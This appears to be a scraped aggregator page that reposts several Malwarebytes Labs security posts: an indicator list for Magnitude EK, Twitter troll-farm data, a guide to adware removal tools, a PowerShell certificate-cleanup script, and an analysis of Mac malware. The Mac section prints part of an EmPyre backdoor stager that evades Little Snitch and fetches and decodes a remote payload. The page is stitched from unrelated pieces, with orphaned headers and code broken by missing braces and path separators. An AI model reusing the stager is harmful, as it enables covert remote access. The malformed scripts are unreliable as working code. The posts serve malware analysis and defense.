94.23.165[.]192,69a5010hbjdd722q.feedrun[.]online,Magnigate (Step 2)
92.222.121[.]30,08taw3c6143ce.nexthas[.]rocks,Magnitude EK (Landing Page)

Code snippets

Magniber (original)


Magniber (core DLL)


Information operations on Twitter: new data released on election tampering – Hackers University

Information operations on Twitter: new data released on election tampering - Malwarebytes Labs

Back in April, we talked about the wealth of options available to Russian hackers and others launching social engineering campaigns, whether on social networks or through clever attacks launched via Advanced Persistent Threats. Some of that was information published by Twitter at the time in relation to election tampering/interference by so-called “Russian Troll farms”—specifically, the IRA (Internet Research Agency).

Some of the numbers involved were already impressive: 3,841 accounts were linked to the IRA and around 1.6 million notifications were sent out to people who had interacted with these accounts in some way. At the tail end of 2018, Twitter has released yet more data related to this particular campaign.

For example, there’s now an additional 770 accounts (potentially from Iran) to sit alongside the original 3,841 from Russia. That includes “10 million Tweets and 2 million images, GIFs, videos, and periscope broadcasts.” Some of the oldest accounts date back to 2009.

All of this has been put onto an “Elections Integrity” portal by Twitter for researchers to investigate further. That’s 1.24GB of Tweet information and 296GB of media data across 302 archives for the IRA, and 168MB of Tweet information and 65.7GB of media across 52 archives for what’s being referred  to as “Iran.”

DFRLab are one of the organisations given access to the data ahead of time, and the story has recently broken elsewhere, so expect many updates and developments over the next few days. As Ben Nimmo puts it:

They were about the home government first 

– had multiple goals 

– targeted specific activist communities 

– apolitical 

– opportunistic 

– evolved 

– not always high-impact

The timeline of the Tweets is fascinating, as are the posting habits of both Russian and Iranian groups. For example, some individual accounts developed a “personality,” while others just attempted to trend fake stories. That thread is going to grow and grow, so you may wish to bookmark it for easy reference.

Meanwhile,DFRLab are going to be publishing a series of Medium blogs on their findings in more detail. The first is already live, and covers seven key takeaways from the research done so far.

Any doubts you may have had about the likelihood of large scale, long term, professional troll campaigns should have just been swept away. There is no doubt: This is indeed a “full fledged influence op,” and it raises many questions about what’s put into the social sphere, and (more importantly) what we do with it once viewed alongside a response from the platform itself.

We’ve already seen how Russian Facebook ads were used to try and divide opinion in the run up to the 2016 US elections, and it’s clear no expense was spared and no major platform was ignored in the quest to troll the public at large. Everyone needs to step up their game, from the people unwittingly republishing state-sanctioned social engineering ops to the platforms we use on a daily basis possessing the ability to do something about it.

Adware the series, the final: Tools section – Hackers University

Adware the series, the final: Tools section - Malwarebytes Labs

So far in this series, we have handed you some methods to recognize and remediate adware. We used this diagram as a guideline.


During this journey, we have touched upon several free tools that we used to get some insight on what type of infection we were dealing with and where the adware could be hiding. Our objective has been to give you an idea of how many different types of adware are around for Windows systems. Though most are classified as PUPs, you will also see the occasional Trojan or rootkit.

This, the final part of the series, will provide you with download-locations and a description of the tools. One word of warning: even though all the tools are free for personal use, that doesn’t make them less powerful. If you want to use these tools to remediate a problem, make sure you know what you are doing or have some kind of backup at hand, in case anything goes terribly wrong. If you want to learn more about removing malware, there are several online schools that offer free malware removal training.

The tools

Process Explorer (Microsoft/Sysinternals)

Site:  https://technet.microsoft.com/en-us/sysinternals/processexplorer.aspx

We used Process Explorer to identify the process that belongs to a window and to identify parent/child processes and look at DLLs and handles. An introduction to Process Explorer and some more advanced information can be found on our blog.

Resource Monitor (Microsoft)

Built into Windows since Windows 7.

We explained how to use Resource Monitor to check which processes are connecting where.

FileASSASSIN (Malwarebytes)

Site: https://www.malwarebytes.com/fileassassin/

FileAssassin is a tool to delete any type of locked file.

Malwarebytes anti-rootkit BETA (Malwarebytes)

Site: https://www.malwarebytes.com/antirootkit/

Malwarebytes anti-rootkit BETA is the tool of choice when you are dealing with difficult to remove and even invisible infections.

FRST (Farbar)

Site: https://www.bleepingcomputer.com/download/farbar-recovery-scan-tool/

There is a 32-bit and 64-bit version. Make sure you download the correct one for your system.

The Farbar Recovery Scan Tool (FRST) is a very useful diagnostic tool. It can also be used as a manual remediation tool, but I want to focus on reading the scan output it produces and which sections to focus on when we are looking for adware. So unless you have cured the problem using Process Explorer, MBAM, MBAR or FileAssassin we are now going to have a look at FRST. FRST works equally well in normal or safe mode and when a machine has boot up problems it will even work in the Windows Recovery Environment.

Farbar Recovery Scan Tool

The output of the FRST scans is nicely formatted in a way that makes it easy to check most of the problem areas that we have pointed out during the course of this series.

Browser sections

These are divided per installed browser and there is a general section.

==================== Internet (Whitelisted) ====================

This section contains information like DNS servers that are in use in the format:

TcpipParameters: [DhcpNameServer] {IP address 1} {IP address 2}

Tcpip..Interfaces{CLSID}: [DhcpNameServer] {IP address 1} {IP address 2}

Internet Explorer:


This section has the add-ons for Internet Explorer listed in the format:

BHO: {name} -> {CLSID} -> {path + filename} [{date of install}] [{signed-by-company-name}]

It also list other items like Startpage, Searchscopes, Handlers, Toolbars, Filters and ActiveX objects



This section holds the extensions for Firefox in the format:

FF Extension: {name} – {folder to the extension} [{date of install}] [{signed-by-company-name}]

And the Plugins in these format types:

FF Plugin: @{company}/{name} -> {path + filename} [{date of install}] ({signed-by-company-name})

FF Plugin ProgramFiles/Appdata: {path + filename} [date of install}] ({signed-by-company-name})

It also list other information about Firefox like Homepage, Default search engine and the presence of user.js files.



This section holds the extensions for each Chrome profile in these formats:

CHR Extension: ({name}) – {path to the extension folder} [{date of install}]

CHR HKLM...ChromeExtension: [{extension identifier string}] – [{update_url}]

It also lists information about the Homepage and policies that may be active.



This section holds the extensions for Opera in the format:

OPR Extension: ({name}) – {path to the extension folder} [{date of install}]

It also shows StartupUrls and StartMenuInternet where applicable.

Loaded modules

You can find some information about loaded modules in the section:

==================== Loaded Modules (Whitelisted) ==============

In the format:

{Date/time on system} – {Date/time created}  - {filesize} {permissions} () {path to file}{filename + extension}

Note: it lists only unsigned files. Even if the files are signed by known malware publishers, they will not be listed.

Scheduled Tasks

Scheduled Tasks are flagged in the Addition log of FRST in the following format:

Task: {CLSID} - System32 or WindowsTasks{jobname} => {path to the file}{filename} [date] (signature)


Services are reported along with their startup method and whether they are running or not.




The startup type numbers are:







In the format:

{Letter}{number}{name of the service};{path to the file}{byte-size creation-date}{signed by}

LSP hijackers

As the order of the LSP layers is stored in the Winsock Service Provider you will find LSP entries listed in the Winsock section of a FRST log.


Winsock: Catalog5 000000000001LibraryPath => restored successfully (%SystemRoot%system32NLAapi.dll)

The catalog numbers are important to keep in mind. Whenever you want to remove a Winsock:Catalog9 entry, it is recommended to use “netsh winsock reset”. This is to avoid the user ending up with a broken internet connection. You may have to repeat this after a reboot.

DNS hijackers and proxies

 On the victim’s computer there are a few options for DNS hijacks:

  • Alternative or altered hosts file. If the user has a non-standard hosts file FRST will report in Addition.txt: There are more than one entries detected in hosts”. This is not necessarily bad. Some security programs use the hosts file as a block-list.
  • The DNS servers are listed in the “Other Areas” section. This also requires additional research as most DNS servers are legitimate.
  • Proxies are listed in the “Internet” section of the FRST log.

Uninstall list

Programs that are listed in the list of installed Programs and Features can be found in the “Installed Programs” section of the Addition log including “hidden” entries.


Alternate Data Streams have a special section for themselves. Note that this section is white-listed, as are many others.  The format looks like this:

AlternateDataStreams: {Path to the file}:{name of the stream} [number of bytes]


Hijackers using the Windows Management Instrumentation can be spotted in the Addition log. Example:

WMI_ActiveScriptEventConsumer_ASEC: < ===== ATTENTION


I really enjoyed sharing some of the knowledge that I gathered over the years and I’m also glad I now have it in a relatively organized fashion. I hope you, the readers have found it useful too. Or entertaining at least. Feel free to let us know in the comments.


Part 1

  • Identify the process
  • Clear browser caches
  • Remove browser extensions

Part 2

  • Proxies
  • Winsock hijackers
  • DNS hijackers

Part 3

  • Type of software
  • Uninstall
  • Remove file
  • Replace file

Part 4

Part 5

  • DLL’s
  • Handles
  • Parent process

Part 6

  • ADS
  • Rootkits
  • Fileless infections

Part 7

  • Tools to investigate with

Learning PowerShell: basic programs – Hackers University

Learning PowerShell: The basics - Malwarebytes Labs

In the previous posts we have looked at some elementary PowerShell concepts and we have constructed some basic commands to export and compare data.

We did this by using an example of certificates being dumped in the “Untrusted” category by some malware. This time we will try to write a program that can undo these changes.

Remember when running PowerShell scripts, unlike single commands, that you will have to remove any execution restrictions that are in place. This command will allow everything for the current session:

Set-ExecutionPolicy Unrestricted


One of the basic skills in each scripting language is text manipulation. I will need a few of those manipulations, before I’m able to use the html export we created last time, as a source for the list of registry keys that I need to remove. But we know they are all present in that export, so let’s get to it.

To read how we created the comparison.html file have a look at the previous post in this mini-series. First we need to get rid of some unnecessary text that was added during the process of making tables and converting to HTML.

One of the lines we want to get rid off is the header. We could take the easy route and simply delete it, but I want to build in some extra safety, so I will try to remove all the lines that do NOT contain @{Thumbprint= since those are the entries we are interested in anyways.

So how do we do that?

Get-Content c:userspublicdesktopcomparison.html | Select-String -pattern "@{Thumbprint=" | Out-File C:certainceficates1.txt

That command filters out all the lines that do not contain the @{Thumbprint= string and brings the html back to a text file, because txt files are a bit easier to work with.

Now we will need a step to get rid of the table make-up.

table layout code

click to enlarge

(Get-Content C:certainceficates1.txt) -replace "<.*?>","" | Out-File C:certainceficates2.txt

This one looks a bit more complicated because of the regular expression. Regular expressions (regex) are worthy of a topic all by themselves, because of their complexity and usefulness. Maybe another day. This one looks for a “<” and deletes that and everything up to and including the closing “>”.  That got rid of all the



, and

bits that were previously needed for the table. The Get-Content call needs to be in parentheses or PowerShell would regard – replace as an argument for that call and throw an error, as -replace is not defined as an argument for that cmdlet.

Now, just for good measure I want to delete all the SideIndicator arrows as well. Note that in the text file they look like this: => where “>” is the html code for “>”.

(Get-Content C:certaincertificates2.txt) -replace "=>","" | Out-File C:certaincertificates3.txt

Now that we have cleaned up the file we can use the next loop to delete the registry keys. And with those keys we effectively delete the certificates.

$List = Get-Content certificates.txt
foreach ($Line in $List) {
$First, $Second, $Third = $Line -split ';'
$Thumbprint= $First -replace("@{Thumbprint=","HKLM:SOFTWAREMicrosoftSystemCertificatesDisallowedCertificates")
If ($Thumbprint.length -eq 108) {
$path = $Thumbprint
$acl = Get-Acl $path
$rule = New-Object System.Security.AccessControl.RegistryAccessRule ("Everyone","FullControl","Allow")
$acl |Set-Acl -Path $path
Remove-Item –Path $path
Write-Host ($path,"removed")

Explanation of what this loop does:

  • It reads the text file line by line and splits each line up using the “;” as a delimiter.
  • The first part of each line contains the Thumbprint, so we can ignore the rest and use only the first part.
  • We replace the text added by the Get-ChildItem ( which is “@{Thumbprint=”) by the path to the registry key that we need (“HKCR:SOFTWAREMicrosoftSystemCertificatesDisallowedCertificates”)
  • As an extra security measure we check if the length of the string equals 108 (the length of the key including the Thumbprint. We do not want to delete random registry keys because of some fluke in the text-files. As an exercise: think what could happen if someone used the “<” in the Subject part of the certificate.
  • Then we give ourselves full control over that same registry key and remove it.
  • Then the program writes to the PowerShell terminal which keys were removed.


When putting the program together I found out that it worked better to move the command that filters out the lines without the @{Thumbprint= string further down, because it caught some lines that were created by some unexpected word-wrap issue. So the final version of my program looks like this:

Get-ChildItem -Path cert:currentuserdisallowed -Recurse | select Thumbprint, FriendlyName, Subject| Set-Content c:userspublicdesktopcertificatesafter.txt
compare-object (get-content c:userspublicdesktopcertificatesbefore.txt) (get-content c:userspublicdesktopcertificatesafter.txt)| ConvertTo-Html | Set-Content c:userspublicdesktopcomparison.html
Get-Content c:userspublicdesktopcomparison.html | Select-String -pattern "@{Thumbprint=" | Out-File C:certaincertificates1.txt
(Get-Content C:certaincertificates1.txt) -replace "<.*?>","" | Out-File C:certaincertificates2.txt
(Get-Content C:certaincertificates2.txt) -replace "=>","" | Out-File C:certaincertificates3.txt
Get-Content C:certaincertificates3.txt | Select-String -pattern "@{Thumbprint=" | Out-File C:certaincertificates.txt
$List = Get-Content certificates.txt
foreach ($Line in $List) {
$First, $Second, $Third = $Line -split ';'
$Thumbprint= $First -replace("@{Thumbprint=","HKLM:SOFTWAREMicrosoftSystemCertificatesDisallowedCertificates")
If ($Thumbprint.length -eq 108) {
$path = $Thumbprint
$acl = Get-Acl $path
$rule = New-Object System.Security.AccessControl.RegistryAccessRule ("Everyone","FullControl","Allow")
$acl |Set-Acl -Path $path
Remove-Item –Path $path
Write-Host ($path,"removed")
del C:certaincertificates1.txt
del C:certaincertificates2.txt
del C:certaincertificates3.txt
del C:certaincertificates.txt

Using it

In case you are interested how to use this.

In theory we would have created a folder C:certain that holds the script (the one directly above) which is then also in use as a temporary storage for all the different text files.

On the public desktop there is the text file that holds the “Before” set of certificates. On a VM that could be a part of the snapshot.

So, all we have to do to get an overview in html off the added certificates and remove them at the same time:

  • Run Powershell as Administrator
  • Command: Set-ExecutionPolicy Unrestricted
  • Confirm with a Y
  • Command: cd c:certain to change the directory
  • Command: .certsfinal.ps1 to run the script

And behold, we will have c:userspublicdesktopcomparison.html with our list of added certificates and the list in the terminal to confirm that they were removed.


A word of warning for those who want to repeat this on their own VM: make sure to kill the certsdropper process as it will re-add the certificates if it’s still active. And make sure only to try it on a VM as the certificates are not the only changes it makes.

I hope you found this useful. I am well aware there are more efficient ways to do this, but all your possible improvements are welcome in the comments


Strings in PowerShell – Replace, compare, concatenate, split, substring


Pieter Arntz

Flurry of new Mac malware drops in December – Hackers University

Flurry of new Mac malware drops in December - Malwarebytes Labs

Last week, we wrote about a new piece of malware called DarthMiner. It turns out there was more to be seen, as not just one but two additional pieces of malware had been spotted. The first was identified by Microsoft’s John Lambert and analyzed by Objective-See’s Patrick Wardle, and the second was found by Malwarebytes’ Adam Thomas.

A Word document with a malicious macro

Lambert identified a malicious Microsoft Word document containing a malicious Visual Basic macro in a Tweet that provided a VirusTotal link to the file. Wardle analyzed the document, which was named BitcoinMagazine-Quidax_InterviewQuestions_2018.docm, and the payload that it dropped.

Ordinarily, macros in Microsoft Office documents are sandboxed, meaning that they shouldn’t have any ability to make changes to the file system. However, in this case, the document uses a sandbox escape to create a launch agent on the system. This launch agent provides persistence to a Python script that sets up a Meterpreter backdoor.

Interestingly, this malware is a copy-and-paste job from a proof-of-concept published by Adam Chester back in February, even down to recycling the identifiers referring to Chester’s blog site, except that Chester hypothesized using EmPyre instead of Meterpreter as the backdoor.

Of course, the attack relies on the user opening a malicious Word document and allowing the macros to run, so social engineering is the main snare. As long as you never, ever allow macros to run in Microsoft Office documents, you’re safe from this kind of malware.

A malicious Discord imitator

On Friday, Adam Thomas found a malicious copy of Discord, an app for gamers to communicate with other gamers. However, this copy of Discord didn’t seem to do anything, because it was actually an Automator script that did nothing for the user.

The script, shown in edited form above to fit in a screenshot, decodes and executes a Python payload, then begins repeatedly taking screenshots and uploading them to a command-and-control (C&C) server.

The decoded payload included quite a bit of Python code, including two additional snippets of base64-encoded Python. One of these bits of code set up an EmPyre backdoor:

import sys, urllib2;import re, subprocess;cmd = "ps -ef | grep Little Snitch | grep -v grep"
ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
out = ps.stdout.read()
if re.search("Little Snitch", out):
o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();UA='Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:45.0) Gecko/20100101 Firefox/45.0';o.addheaders=[('User-Agent',UA)];a=o.open('').read();key='7b3639a4ab39765739a5e0ed75bc8016';S,j,out=range(256),0,[]
for i in range(256):
for char in a:

The script also sets up a launch agent named com.apple.systemkeeper.plist, which persistently keeps both the screenshot code and the EmPyre backdoor code running.

This malware is really unconvincing, as it does nothing at all to pretend that it is a legit Discord app. It is not a maliciously-modified copy of the Discord app. It doesn’t even include and launch a copy of the Discord app, which it could do easily as a subterfuge to make the app look legit. For that matter, it doesn’t even use a convincing icon!

Instead, the malware uses a generic Automator applet icon, and all that happens when running is that a gear icon appears in the menu bar (as is normal for any Automator script).

Of course, by the time the user notices something is wrong, the malware has set up the launch agent, opened the backdoor, and sent off some screenshots. Many users may notice something is off, but they may not know what to do about it.

Interesting similarities

There are some interesting similarities between this fake Discord malware, which Malwarebytes detects as OSX.LamePyre, and the OSX.DarthMiner malware discovered earlier this week. Both are distributed in the form of Automator applets, both applets run Python scripts, and both use an EmPyre backdoor.

However, there are some differences as well. The means for running the Python script is different in these two cases. Further, the apparent primary purpose for the malware is also different: cryptomining, in the case of DarthMiner, and screen captures, in the case of LamePyre.

It seems likely that these could be made by the same person, but it’s also possible that one is a copycat of the other.

The Word macro malware (which Malwarebytes currently detects as OSX.BadWord, for lack of an official name) similarly sets up a backdoor using Python, and like OSX.DarthMiner, it executes the Python code directly in the launch agent, which is somewhat unusual. Of course, it uses a different backdoor and a different delivery method.

All three have made heavy use of borrowed code in the form of open-source backdoors (EmPyre in two cases, Metasploit’s Meterpreter module in the third) as well as copy-paste of VBA exploit code directly from a researcher’s blog.

Two malware, one maker?

The similarities between all these pieces of malware, as well as the close coincidence in timing (all were first submitted to VirusTotal within about a one month period), may mean that they were all be made by the same malware developer.

However, there is no concrete evidence for that supposition at this time. The IP addresses these pieces of malware communicate with are scattered around the globe in the US, Luxembourg, Germany, and the Netherlands, and there are no obvious connections between them. The code is similar, but not identical.

At this time, we are calling each of these by a different name, but will keep investigating.

In the meantime, the best things you can do to stay safe are:

  • Don’t allow macros to run in Microsoft Office documents
  • Don’t download software from anywhere other than the developer’s official site, and especially not piracy sites
  • Don’t open anything sent to you via email unless you know the sender and were expecting it
  • If you open a newly-downloaded application and something doesn’t work as expected, check with the developer